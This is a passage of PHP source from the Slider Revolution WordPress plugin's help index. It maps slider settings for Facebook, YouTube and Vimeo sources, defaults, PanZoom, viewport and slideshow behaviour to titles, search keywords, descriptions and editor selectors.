'facebook', $o => 'slider_sourcetype_facebook')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_facebook', $f => "*[name='sr_src_facebook_appid']" ) ), 'app_secret' => array( $t => __("App Secret", 'revsliderhelp'), $h => "source.facebook.appSecret", $k => array("facebook", "api secret", "app secret. secret"), $d => __("Your Facebook App's App Secret", 'revsliderhelp'), $a => $u . "module-content/#facebook", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'facebook', $o => 'slider_sourcetype_facebook')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_facebook', $f => "*[name='sr_src_facebook_appsecret']" ) ) ), 'youtube_settings' => array( 'num_slides' => array( $t => __("Total Slides", 'revsliderhelp'), $h => "source.youtube.count", $k => array("youtube", "video stream", "youtube stream", "stream"), $d => __("Choose how many Slides should be created from the YouTube source", 'revsliderhelp'), $a => $u . "module-content/#youtube", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'youtube', $o => 'slider_sourcetype_youtube')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_youtube', $f => "#sr_source_youtube_count" ) ), 'cache' => array( $t => __("API Cache", 'revsliderhelp'), $h => "source.youtube.transient", $k => array("youtube", "video stream", "youtube stream", "stream"), $d => __("Cache the YouTube API results for faster loading", 'revsliderhelp'), $a => $u . "module-content/#youtube", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'youtube', $o => 'slider_sourcetype_youtube')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_youtube', $f => "#sr_source_youtube_transient" ) ), 'api_key' => array( $t => __("API Key", 'revsliderhelp'), $h => "source.youtube.api", $k => array("youtube", "video stream", "youtube stream", "stream", "api key"), $d => __("Enter your YouTube API key. Learn more", 'revsliderhelp'), $a => $u . "module-content/#youtube", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'youtube', $o => 'slider_sourcetype_youtube')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_youtube', $f => "*[name='sr_src_youtube_api']" ) ), 'channel_id' => array( $t => __("Channel ID", 'revsliderhelp'), $h => "source.youtube.channelId", $k => array("youtube", "stream", "youtube channel", "channel id"), $d => __("Enter the channel ID of the YouTube account", 'revsliderhelp'), $a => $u . "module-content/#youtube", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'youtube', $o => 'slider_sourcetype_youtube')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_youtube', $f => "*[name='sr_src_youtube_channelId']" ) ), 'source' => array( $di => "slider_source_youtube_source", $t => __("Source", 'revsliderhelp'), $h => "source.youtube.typeSource", $k => array("source", "youtube", "youtube source", "youtube playlist", "youtube channel", "video playlist"), $d => __("Choose to include videos from a YouTube Playlist or Channel", 'revsliderhelp'), $a => $u . "module-content/#youtube", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'youtube', $o => 'slider_sourcetype_youtube')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_youtube', $f => "#youtube-typesource" ) ), 'playlist' => array( $t => __("Playlist", 'revsliderhelp'), $h => "source.youtube.playList", $k => array("youtube", "stream", "youtube source", "playlist", "youtube playlist"), $d => __("Choose the playlist to pull in from the YouTube account", 'revsliderhelp'), $a => $u . "module-content/#youtube", $hl => array( $dp => array( array($p => 'settings.sourcetype', $v => 'youtube', $o => 'slider_sourcetype_youtube'), array($p => 'settings.source.youtube.typeSource', $v => 'playlist', $o => 'slider_source_youtube_source') ), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_youtube', $f => "#sr_src_youtube_playlist" ) ) ), 'vimeo_settings' => array( 'num_slides' => array( $t => __("Total Slides", 'revsliderhelp'), $h => "source.vimeo.count", $k => array("vimeo"), $d => __("Choose how many Slides should be created from the Vimeo source", 'revsliderhelp'), $a => $u . "module-content/#vimeo", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'vimeo', $o => 'slider_sourcetype_vimeo')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_vimeo', $f => "#sr_source_vimeo_count" ) ), 'cache' => array( $t => __("API Cache", 'revsliderhelp'), $h => "source.vimeo.transient", $k => array("vimeo", "gallery", "cache"), $d => __("Cache the Vimeo API results for faster loading", 'revsliderhelp'), $a => $u . "module-content/#vimeo", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'vimeo', $o => 'slider_sourcetype_vimeo')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_vimeo', $f => "#sr_source_vimeo_transient" ) ), 'source' => array( $t => __("Page URL", 'revsliderhelp'), $h => "source.vimeo.typeSource", $k => array("source", "vimeo", "vimeo source"), $d => __("Choose which type of Vimeo content should be pulled into the Slider", 'revsliderhelp'), $a => $u . "module-content/#vimeo", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'vimeo', $o => 'slider_sourcetype_vimeo')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_vimeo', $f => "#vimeo-typesource" ) ), 'user_album_group_channel' => array( $t => __("User/Album/Group/Channel", 'revsliderhelp'), $h => "source.vimeo.userName, source.vimeo.albumId, source.vimeo.groupName, source.vimeo.channelName", $k => array("vimeo", "vimeo user", "vimeo username", "vimeo user name", "vimeo album", "vimeo group", "vimeo channel"), $d => __("Enter the username, album ID, group name or channel name of the Vimeo account to use as the stream", 'revsliderhelp'), $a => $u . "module-content/#vimeo", $hl => array( $dp => array(array($p => 'settings.sourcetype', $v => 'vimeo', $o => 'slider_sourcetype_vimeo')), $m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_vimeo', $f => "#sr_src_vimeo_userName, #sr_src_vimeo_albumId, #sr_src_vimeo_groupName, #sr_src_vimeo_channelName" ) ) ) ), 'gst_sl_5' => array( 'slider_id' => array( $t => __("Slider ID", 'revsliderhelp'), $h => "id", $k => array("slider id", "id", "default", "defaults"), $d => __("Add an optional ID for the Slider. Will be applied to the Slider's outer HTML wrapper element", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults', $f => "#sr_sliderid") ), 'slider_classes' => array( $t => __("Slider Classes", 'revsliderhelp'), $h => "class", $k => array("slider class", "class", "classes", "slider classes"), $d => __("Add an optional ID for the Slider. Will be applied to the Slider's outer HTML wrapper element", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults', $f => "#sr_sliderclass") ), 'wrapper_classes' => array( $t => __("Wrapper Classes", 'revsliderhelp'), $h => "wrapperclass", $k => array("wrapper class", "class", "classes", "wrapper classes"), $d => __("Add an optional ID for the Slider. Will be applied to the Slider's outer HTML wrapper element", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults', $f => "#sr_wrapperclass") ), 'slide_duration' => array( $t => __("Slide Duration", 'revsliderhelp'), $h => "def.delay", $k => array("slide duration", "duration", "time", "timeline", "default", "defaults"), $d => __("The default duration to apply for each Slide before they change", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults', $f => "#sr_def_delay") ), 'init_delay' => array( $t => __("Initialization Delay", 'revsliderhelp'), $h => "general.slideshow.initDelay", $k => array("init", "initialization", "delay", "initialization delay", "default", "defaults"), $d => __("Add an optional delay before the Slider officially loads", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults', $f => "#sr_sshow_initdelay") ), 'layers_selectable' => array( $t => __("Layers Selectable", 'revsliderhelp'), $h => "general.layerSelection", $k => array("layers", "layers selectable", "selectable", "default", "defaults"), $d => __("Choose if Layers should be user-selectable by default", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults', $f => "#sr_layersselectable") ), 'transition' => array( $t => __("Transition", 'revsliderhelp'), $h => "def.transition", $k => array("default transition", "transition", "default", "defaults"), $d => __("The default transition to be applied to newly created Slides", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_animation', $f => "#sr_def_slide_transition") ), 'duration' => array( $t => __("Transition Duration", 'revsliderhelp'), $h => "def.transitionDuration", $k => array("default duration", "duration", "default", "defaults"), $d => __("The default transition duration to be applied to newly created Slides", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_animation', $f => "#sr_def_tduration") ), 'image_settings' => array( 'image_size' => array( $t => __("Default Image Size", 'revsliderhelp'), $h => "def.background.imageSourceType", $k => array("image size", "image source", "default", "defaults"), $d => __("The default WordPress Image size to be used for the Slide's main background images", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_imagesettings', $f => "#sr_def_image_source_type") ), 'position' => array( $t => __("Default BG Position", 'revsliderhelp'), $h => "def.background.position", $k => array("image", "images", "background", "bg", "bg image", "background position", "default", "defaults"), $d => __("The default CSS background-position for the Slide's main background image", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_imagesettings', $f => "#slider_def_img__bg_position_center-center") ), 'fit' => array( $t => __("Default Image Fit", 'revsliderhelp'), $h => "def.background.fit", $k => array("background size", "fit", "image fit", "cover", "contain", "default", "defaults"), $d => __("The default css background-size value for the Slide's main background image", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_imagesettings', $f => "#sr_defbgimage_fit") ), 'repeat' => array( $t => __("Default BG Repeat", 'revsliderhelp'), $h => "def.background.repeat", $k => array("background repeat", "repeat", "default", "defaults"), $d => __("The default css background-repeat value for the Slide's main background image", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_imagesettings', $f => "#sr_defbgimage_repeat") ) ), 'layer_defaults' => array( 'intelligent_inheriting' => array( $t => __("Intelligent Inheriting", 'revsliderhelp'), $h => "def.intelligentInherit", $k => array("responsive", "intelligent inheriting", "responsive behavior"), $d => __("Automatically resize/reposition new Layers for each device viewport inside the editor", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_layersettings', $f => "#sr_layer_intelligentinherit") ), 'responsive_between_device' => array( $t => __("Responsive Between Devices", 'revsliderhelp'), $h => "def.autoResponsive", $k => array("responsive", "resize", "resize layers", "resize layer", "layer resizing", "layer sizing", "responsive sizes", "responsive sizing"), $d => __("Automatically resize Layers for each responsive device viewport", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_layersettings', $f => "#sr_layer_autoResponsive") ), 'responsive_offset' => array( $t => __("Responsive Offsets", 'revsliderhelp'), $h => "def.responsiveOffset", $k => array("responsive", "responsive offset", "responsive offsets"), $d => __("Automatically adjust the positioning for Layers for each responsive device viewport", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_layersettings', $f => "#sr_layer_responsiveOffset") ), 'responsive_children' => array( $t => __("Responsive Children", 'revsliderhelp'), $h => "def.responsiveChilds", $k => array("responsive", "responsive children"), $d => __("Choose to resize the Layer's inner HTML elements if the Layer includes custom HTML", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_layersettings', $f => "#sr_layer_responsiveChilds") ) ), 'pan_zoom' => array( 'enable' => array( $di => "slider_defaults_panzoom", $t => __("Enable PanZoom", 'revsliderhelp'), $h => "def.panZoom.set", $k => array("panzoom", "pan zoom"), $d => __("Enable the PanZoom effect by default for newly created Slides", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_panzoom") ), 'easing' => array( $t => __("Easing", 'revsliderhelp'), $h => "def.panZoom.ease", $k => array("panzoom", "pan zoom", "easing", "pan zoom easing", "panzoom easing"), $d => __("The default easing equation. View visualization", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array( $dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), $m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#def_pz_ease" ) ), 'duration' => array( $t => __("Duration", 'revsliderhelp'), $h => "def.panZoom.duration", $k => array("panzoom", "pan zoom", "duration", "pan zoom duration", "panzoom duration"), $d => __("The default easing duration in milliseconds", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array( $dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), $m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_pzdur" ) ), 'zoom' => array( 'fit_start' => array( $t => __("Zoom Start Percentage", 'revsliderhelp'), $h => "def.panZoom.fitStart", $k => array("panzoom", "pan zoom", "zoom", "pan zoom zoom", "panzoom zoom"), $d => __("The default starting zoom percentage", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array( $dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), $m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_sfit" ) ), 'fit_end' => array( $t => __("Zoom End Percentage", 'revsliderhelp'), $h => "def.panZoom.fitEnd", $k => array("panzoom", "pan zoom", "zoom", "pan zoom zoom", "panzoom zoom"), $d => __("The default ending zoom percentage", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array( $dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), $m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_efit" ) ) ), 'movement' => array( 'x_start' => array( $t => __("Start Position X", 'revsliderhelp'), $h => "def.panZoom.xStart", $k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"), $d => __("The default starting x position for the PanZoom movement", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array( $dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), $m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_sox" ) ), 'x_end' => array( $t => __("End Position X", 'revsliderhelp'), $h => "def.panZoom.xEnd", $k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"), $d => __("The default end x position for the PanZoom movement", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array( $dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), $m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_eox" ) ), 'y_start' => array( $t => __("Start Position Y", 'revsliderhelp'), $h => "def.panZoom.yStart", $k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"), $d => __("The default starting y position for the PanZoom movement", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array( $dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), $m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_soy" ) ), 'y_end' => array( $t => __("End Position Y", 'revsliderhelp'), $h => "def.panZoom.yEnd", $k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"), $d => __("The default ending y position for the PanZoom movement", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array( $dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), $m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_eoy" ) ) ), 'rotation_blur' => array( 'rotate_start' => array( $t => __("Rotate Start", 'revsliderhelp'), $h => "def.panZoom.rotateStart", $k => array("panzoom", "pan zoom", "rotate", "pan zoom rotate", "panzoom rotate", "rotation", "pan zoom rotation"), $d => __("The default starting rotation for the PanZoom effect (deg)", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array( $dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), $m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_sro" ) ), 'rotate_end' => array( $t => __("Rotate End", 'revsliderhelp'), $h => "def.panZoom.rotateEnd", $k => array("panzoom", "pan zoom", "rotate", "pan zoom rotate", "panzoom rotate", "rotation", "pan zoom rotation"), $d => __("The default ending rotation for the PanZoom effect (deg)", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array( $dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), $m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_ero" ) ), 'blur_start' => array( $t => __("Blur Start", 'revsliderhelp'), $h => "def.panZoom.blurStart", $k => array("panzoom", "pan zoom", "rotate", "pan zoom blur", "panzoom blur", "blur", "image blur"), $d => __("The default starting image blur for the PanZoom effect (px)", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array( $dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), $m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_sblur" ) ), 'blur_end' => array( $t => __("Blur End", 'revsliderhelp'), $h => "def.panZoom.blurEnd", $k => array("panzoom", "pan zoom", "rotate", "pan zoom blur", "panzoom blur", "blur", "image blur"), $d => __("The default ending image blur for the PanZoom effect (px)", 'revsliderhelp'), $a => $u . "module-defaults/", $hl => array( $dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), $m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_eblur" ) ) ) ) ), 'gst_sl_6' => array( 'viewport_stop' => array( 'enable' => array( $di => "slider_general_slideshow_viewport", $t => __("Enable Viewport Stop", 'revsliderhelp'), $h => "general.slideshow.viewPort", $k => array("viewport", "slider viewport", "stop", "viewport stop"), $d => __("Only initialize the Slider when the Slider is inside the page's view", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_viewport', $f => "#sr_viewport") ), 'wait_pause' => array( $t => __("Wait/Pause", 'revsliderhelp'), $h => "general.slideshow.viewPortStart", $k => array("viewport", "slider viewport", "wait", "pause", "viewport wait", "viewport pause"), $d => __("'wait' to initialize the Slider when its inside the viewport, or 'pause' the Slider's progress until its inside the viewport", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array( $dp => array(array($p => 'settings.general.slideshow.viewPort', $v => true, $o => 'slider_general_slideshow_viewport')), $m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_viewport', $f => "#sr_sshow_outviewport" ) ), 'viewport_area' => array( $t => __("Area %", 'revsliderhelp'), $h => "general.slideshow.viewPortArea.#size#.v", $k => array("viewport", "slider viewport", "wait", "pause", "viewport wait", "viewport pause", "area", "viewport area"), $d => __("Initialize/Pause the Slider when its inside this percentage of the page's viewport", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array( $dp => array(array($p => 'settings.general.slideshow.viewPort', $v => true, $o => 'slider_general_slideshow_viewport')), $m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_viewport', $f => "#sr_viewport_area" ) ), 'preset_slider_height' => array( $t => __("Preset Slider Height", 'revsliderhelp'), $h => "general.slideshow.presetSliderHeight", $k => array("slider space", "preset slider height", "viewport"), $d => __("Allocate space on the page for the Slider to prevent page content jumps when the Slider loads", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array( $dp => array(array($p => 'settings.general.slideshow.viewPort', $v => true, $o => 'slider_general_slideshow_viewport')), $m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_viewport', $f => "#sr_viewportpresetheight" ) ) ), 'slideshow' => array( 'auto_rotate' => array( $di => 'slideshow_auto_rotate', $t => __("Auto Rotate Slideshow", 'revsliderhelp'), $h => "general.slideshow.slideShow", $k => array("stop", "pause", "stop slider", "pause slider", "progress"), $d => __("Enable autoplay for the Slider to automatically change between slides", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general', $f => "#sr_slideshowonoff") ), 'stop_on_hover' => array( $t => __("Stop on Hover", 'revsliderhelp'), $h => "general.slideshow.stopOnHover", $k => array("hover", "autoplay", "slider progress", "stop on", "stop on hover", "stop slider", "pause", "pause slider", "pause slideshow"), $d => __("Pause the Slider's progress when the user hover's their mouse over it", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array( $dp => array(array($p => 'settings.general.slideshow.slideShow', $v => true, $o => 'slideshow_auto_rotate')), $m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general', $f => "#sr_ssonhover" ) ), 'loop_single' => array( $t => __("Loop Single Slide", 'revsliderhelp'), $h => "general.slideshow.loopSingle", $k => array("loop", "loop slide", "single", "single slide", "loop single slide"), $d => __("Continuously loop a Slide's animations when the Slider contains only one slide", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array( $dp => array(array($p => 'settings.general.slideshow.slideShow', $v => true, $o => 'slideshow_auto_rotate')), $m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general', $f => "#sr_loopsingle" ) ), 'stop_slider' => array( $di => "slider_general_slideshow_stopslider", $t => __("Stop Slider Progress", 'revsliderhelp'), $h => "general.slideshow.stopSlider", $k => array("stop", "pause", "stop slider", "pause at", "pause at slide", "autoplay", "auto play"), $d => __("Chose when the Slider's progress should stop/pause", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array( $dp => array(array($p => 'settings.general.slideshow.slideShow', $v => true, $o => 'slideshow_auto_rotate')), $m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general', $f => "#sr_disendloop" ) ), 'stop_after_loops' => array( $t => __("Stop After Loops", 'revsliderhelp'), $h => "general.slideshow.stopAfterLoops", $k => array("stop", "pause", "stop slider", "pause at", "pause at slide", "autoplay", "auto play", "loop", "looping", "slider loop"), $d => __("Stop the slider's progress after a set amount of loops", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array( $dp => array(array($p => 'settings.general.slideshow.slideShow', $v => true, $o => 'slideshow_auto_rotate')), $m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general', $f => "#sr_sshw_amountloops" ) ), 'stop_at_slide' => array( $t => __("Stop at Slide", 'revsliderhelp'), $h => "general.slideshow.stopAtSlide", $k => array("stop", "pause", "stop slider", "pause at", "pause at slide", "autoplay", "auto play", "loop", "looping", "slider loop", "stop at", "stop after"), $d => __("Stop the slider's progress when a certain Slide is viewed", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array( $dp => array(array($p => 'settings.general.slideshow.slideShow', $v => true, $o => 'slideshow_auto_rotate')), $m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general', $f => "#sr_sshw_atSlide" ) ), 'random_order' => array( $t => __("Random Order", 'revsliderhelp'), $h => "general.slideshow.shuffle", $k => array("slide order", "shuffle", "shuffle slides", "random", "randomize", "random slide order", "randomize slides", "randomize slide order"), $d => __("Randomize the Slide order each time the Slider is viewed", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array( $dp => array(array($p => 'settings.general.slideshow.slideShow', $v => true, $o => 'slideshow_auto_rotate')), $m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general', $f => "#sr_randomslideshow" ) ), 'wait_for_api' => array( $t => __("Wait for API", 'revsliderhelp'), $h => "general.slideshow.waitForInit", $k => array("api", "wait for", "wait for api", "initialization"), $d => __("Only start the Slider when the JavaScript API's 'revstart()' method is called", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_slideshow', $f => "#sr_waitrevapi") ) ), 'mobile_options' => array( 'disable_slider' => array( $t => __("Disable Slider on Mobile", 'revsliderhelp'), $h => "general.disableOnMobile", $k => array("disable slider", "hide on mobile", "mobile"), $d => __("When the Slider is disabled on mobile it will only be loaded on desktop-based devices", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_disable_mobile', $f => "#sr_gen_disonmob") ), 'disable_panzoom' => array( $t => __("Disable PanZoom on Mobile", 'revsliderhelp'), $h => "general.disablePanZoomMobile", $k => array("disable", "disable panzoom", "disable pan zoom", "panzoom", "pan zoom"), $d => __("Disable the PanZoom effect for mobile devices", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_disable_mobile', $f => "#sr_gen_disablePanZoomMobile") ) ), 'hide_content_under_width' => array( 'hide_slider_under' => array( $t => __("Hide Slider Under Width", 'revsliderhelp'), $h => "visibility.hideSliderUnderLimit", $k => array("hide slider", "hide under width", "hide slider under width"), $d => __("Hide the Slider under a certain window width", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_under_browser_width', $f => "#sr_vis_hideSliderUnderLimit") ), 'hide_marked_under' => array( $t => __("Hide Marked Layers", 'revsliderhelp'), $h => "visibility.hideSelectedLayersUnderLimit", $k => array("hide layer", "hide layers", "hide under width", "hide layer under width", "marked", "marked layers"), $d => __("Individual Layers that are selected to be hidden under a width will be hidden under this number", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_under_browser_width', $f => "#sr_vis_hideSelectedLayersUnderLimit") ), 'hide_all_layers' => array( $t => __("Hide All Layers Under", 'revsliderhelp'), $h => "visibility.hideAllLayersUnderLimit", $k => array("hide layer", "hide layers", "hide under width", "hide layer under width", "all layers"), $d => __("Hide all Layers under when the window is below this number", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_under_browser_width', $f => "#sr_vis_hideAllLayersUnderLimit") ) ), 'first_slide_options' => array( 'alternate_slide' => array( $di => "slider_firstslide_alternativefirstslide", $t => __("Alternate First Slide", 'revsliderhelp'), $h => "general.firstSlide.alternativeFirstSlideSet", $k => array("first slide", "alternate", "alternate slide"), $d => __("Show a specific Slide first when the Slider first loads", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_first_slide', $f => "#sr_gen_alternativeFirstSlideSet") ), 'alternate_slide_number' => array( $t => __("Slide to Show First", 'revsliderhelp'), $h => "general.firstSlide.alternativeFirstSlide", $k => array("first slide", "alternate", "alternate slide"), $d => __("Show slide number 'x' first when the Slider first loads", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array( $dp => array(array($p => 'settings.general.firstSlide.alternativeFirstSlideSet', $v => true, $o => 'slider_firstslide_alternativefirstslide')), $m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_first_slide', $f => "#sr_gen_firstSlide_alternativeFirstSlide" ) ), 'first_slide_transition' => array( $di => "slider_general_firstslidetransition", $t => __("First Slide Animation", 'revsliderhelp'), $h => "general.firstSlide.set", $k => array("first slide", "first slide animation", "alternate animation"), $d => __("Use an alternate transition when for the first slide when the Slider firsts loads", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_first_slide', $f => "#sr_gen_fs") ), 'first_slide_transition_type' => array( $t => __("First Slide Transition Type", 'revsliderhelp'), $h => "general.firstSlide.type", $k => array("first slide", "first slide animation", "alternate animation", "transition", "first slide transition"), $d => __("Choose an alternate transition for the first Slide", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array( $dp => array(array($p => 'settings.general.firstSlide.set', $v => true, $o => 'slider_general_firstslidetransition')), $m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_first_slide', $f => "#sr_gen_fs_transition" ) ), 'first_slide_duration' => array( $t => __("First Slide Transition Duration", 'revsliderhelp'), $h => "general.firstSlide.duration", $k => array("first slide", "first slide duration", "alternate animation", "transition duration", "first slide transition duration"), $d => __("The duration to be used for the alternate first Slide transition", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array( $dp => array(array($p => 'settings.general.firstSlide.set', $v => true, $o => 'slider_general_firstslidetransition')), $m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_first_slide', $f => "#sr_gen_fsduration" ) ), 'slot_amount' => array( $t => __("Slot Amount", 'revsliderhelp'), $h => "general.firstSlide.slotAmount", $k => array("slots", "slot amount", "transition slots"), $d => __("The amount of slots to be used for the alternate first Slide transition. 